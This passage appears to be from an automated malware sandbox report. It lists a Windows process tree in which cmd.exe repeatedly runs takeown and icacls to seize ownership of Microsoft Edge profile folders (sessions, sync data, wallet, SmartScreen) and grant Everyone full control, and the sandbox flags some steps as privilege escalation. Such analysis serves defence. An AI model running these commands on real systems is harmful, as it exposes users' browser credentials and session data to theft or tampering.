  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network /grant everyone:(f)
  2⤵
  PID:1604
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network
    3⤵
    PID:3252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing /grant everyone:(f)
  2⤵
  PID:888
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing
    3⤵
    - Possible privilege escalation attempt
    PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store /grant everyone:(f)
  2⤵
  PID:1468
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store
    3⤵
    PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db /grant everyone:(f)
  2⤵
  PID:3960
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db
    3⤵
    PID:4928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials /grant everyone:(f)
  2⤵
  PID:2120
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials
    3⤵
    - Modifies file permissions
    PID:536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Safe Browsing Network && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Safe Browsing Network /grant everyone:(f)
  2⤵
  PID:3088
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Safe Browsing Network
    3⤵
    PID:2092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform /grant everyone:(f)
  2⤵
  PID:4116
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform
    3⤵
    PID:312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform\SegmentInfoDB && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform\SegmentInfoDB /grant everyone:(f)
  2⤵
  PID:1840
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform\SegmentInfoDB
    3⤵
    PID:3792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform\SignalDB && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform\SignalDB /grant everyone:(f)
  2⤵
  PID:4980
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform\SignalDB
    3⤵
    PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform\SignalStorageConfigDB && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform\SignalStorageConfigDB /grant everyone:(f)
  2⤵
  PID:2180
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform\SignalStorageConfigDB
    3⤵
    - Possible privilege escalation attempt
    PID:4200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage /grant everyone:(f)
  2⤵
  PID:2376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage
    3⤵
    PID:4620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions /grant everyone:(f)
  2⤵
  PID:5028
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions
    3⤵
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary /grant everyone:(f)
  2⤵
  PID:184
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary
    3⤵
    PID:452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary\cache && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary\cache /grant everyone:(f)
  2⤵
  PID:4316
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary\cache
    3⤵
    PID:3588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary\cache\index-dir && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary\cache\index-dir /grant everyone:(f)
  2⤵
  PID:1516
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary\cache\index-dir
    3⤵
    PID:3240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db /grant everyone:(f)
  2⤵
  PID:2756
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db
    3⤵
    PID:1100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata /grant everyone:(f)
  2⤵
  PID:3192
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata
    3⤵
    PID:3084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database /grant everyone:(f)
  2⤵
  PID:4536
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database
    3⤵
    PID:932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data /grant everyone:(f)
  2⤵
  PID:4392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data
    3⤵
    - Modifies file permissions
    PID:3396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB /grant everyone:(f)
  2⤵
  PID:3936
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB
    3⤵
    PID:2544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs /grant everyone:(f)
  2⤵
  PID:3208
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs
    3⤵
    PID:2520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage /grant everyone:(f)
  2⤵
  PID:4856
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage
    3⤵
    PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Workspaces && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Workspaces /grant everyone:(f)
  2⤵
  PID:1200
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Workspaces
    3⤵
    PID:4044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Workspaces\Logs && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Workspaces\Logs /grant everyone:(f)
  2⤵
  PID:4084
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Workspaces\Logs
    3⤵
    PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\EADPData Component && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\EADPData Component /grant everyone:(f)
  2⤵
  PID:3444
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\EADPData Component
    3⤵
    PID:4812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Designer && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Designer /grant everyone:(f)
  2⤵
  PID:1736
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Designer
    3⤵
    PID:1356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Notifications && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Notifications /grant everyone:(f)
  2⤵
  PID:2684
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Notifications
    3⤵
    PID:3552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Shopping && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Shopping /grant everyone:(f)
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4460
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Shopping
    3⤵
    PID:4388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Tipping && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Tipping /grant everyone:(f)
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:1920
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Tipping
    3⤵
    PID:3192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Travel && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Travel /grant everyone:(f)
  2⤵
  PID:408
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Travel
    3⤵
    PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet /grant everyone:(f)
  2⤵
  PID:3516
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet
    3⤵
    PID:960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\EdgeOnnxRuntimeDirectML && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\EdgeOnnxRuntimeDirectML /grant everyone:(f)
  2⤵
  PID:4116
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\EdgeOnnxRuntimeDirectML
    3⤵
    PID:1756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded /grant everyone:(f)
  2⤵
  PID:3924
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded
    3⤵
    PID:3116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache /grant everyone:(f)
  2⤵
  PID:532
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache
    3⤵
    PID:5000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache /grant everyone:(f)
  2⤵
  PID:4800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache
    3⤵
    PID:1200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache /grant everyone:(f)
  2⤵
  PID:4044
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache
    3⤵
    PID:4084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\hyphen-data && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\hyphen-data /grant everyone:(f)
  2⤵
  PID:2148
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\hyphen-data
    3⤵
    PID:1780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Nurturing && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Nurturing /grant everyone:(f)
  2⤵
  PID:2220
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Nurturing
    3⤵
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\OriginTrials && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\OriginTrials /grant everyone:(f)
  2⤵
  PID:3656
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\OriginTrials
    3⤵
    PID:3240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\PKIMetadata && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\PKIMetadata /grant everyone:(f)
  2⤵
  PID:888
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\PKIMetadata
    3⤵
    - Modifies file permissions
    PID:3620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RecoveryImproved && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RecoveryImproved /grant everyone:(f)
  2⤵
  PID:4460
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RecoveryImproved
    3⤵
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Safe Browsing && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Safe Browsing /grant everyone:(f)
  2⤵
  PID:1920
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Safe Browsing
    3⤵
    PID:3712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SafetyTips && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SafetyTips /grant everyone:(f)
  2⤵
  PID:408
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SafetyTips
    3⤵
    PID:3280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache /grant everyone:(f)
  2⤵
  PID:2092
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache
    3⤵
    PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache /grant everyone:(f)
  2⤵
  PID:1712
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache
    3⤵
    PID:4468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen /grant everyone:(f)
  2⤵
  PID:1172
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen
    3⤵
    PID:4884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local /grant everyone:(f)
  2⤵
  PID:4888
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local
    3⤵
    PID:4620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData /grant everyone:(f)
  2⤵
  PID:3860
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData
    3⤵
    PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Speech Recognition && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Speech Recognition /grant everyone:(f)
  2⤵
  PID:4000
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Speech Recognition
    3⤵
    PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Subresource Filter && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Subresource Filter /grant everyone:(f)
  2⤵
  PID:3444
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Subresource Filter
    3⤵
    PID:2360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules /grant everyone:(f)
  2⤵
  PID:3472
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules
    3⤵
    PID:3112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists /grant everyone:(f)
  2⤵
  PID:2248
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists
    3⤵
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments /grant everyone:(f)
  2⤵
  PID:4724
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments
    3⤵
    PID:3952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Typosquatting && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Typosquatting /grant everyone:(f)
  2⤵
  PID:2976
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Typosquatting
    3⤵
    PID:3960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Web Notifications Deny List && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Web Notifications Deny List /grant everyone:(f)
  2⤵
  PID:3632
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Web Notifications Deny List
    3⤵
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\WidevineCdm && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\WidevineCdm /grant everyone:(f)
  2⤵
  PID:2120
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\WidevineCdm
    3⤵
    PID:408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\WorkspacesNavigationComponent && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\WorkspacesNavigationComponent /grant everyone:(f)
  2⤵
  PID:1104
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\WorkspacesNavigationComponent
    3⤵
    PID:1380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData /grant everyone:(f)
  2⤵
  PID:2184
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData
    3⤵
    PID:3176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds /grant everyone:(f)
  2⤵
  PID:4616
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds
    3⤵
    PID:4884
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds /grant everyone:(f)
    3⤵
    PID:852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache /grant everyone:(f)
  2⤵
  PID:1772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache
    3⤵
    PID:3548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\GameDVR && icacls C:\Users\Admin\AppData\Local\Microsoft\GameDVR /grant everyone:(f)
  2⤵
  PID:1344
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\GameDVR
    3⤵
    PID:4272
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\GameDVR /grant everyone:(f)
    3⤵
    PID:4148

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4120,i,9445584274764997943,12714240264001792460,262144 --variations-seed-version --mojo-platform-channel-handle=4108 /prefetch:8
1⤵
PID:2360

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3696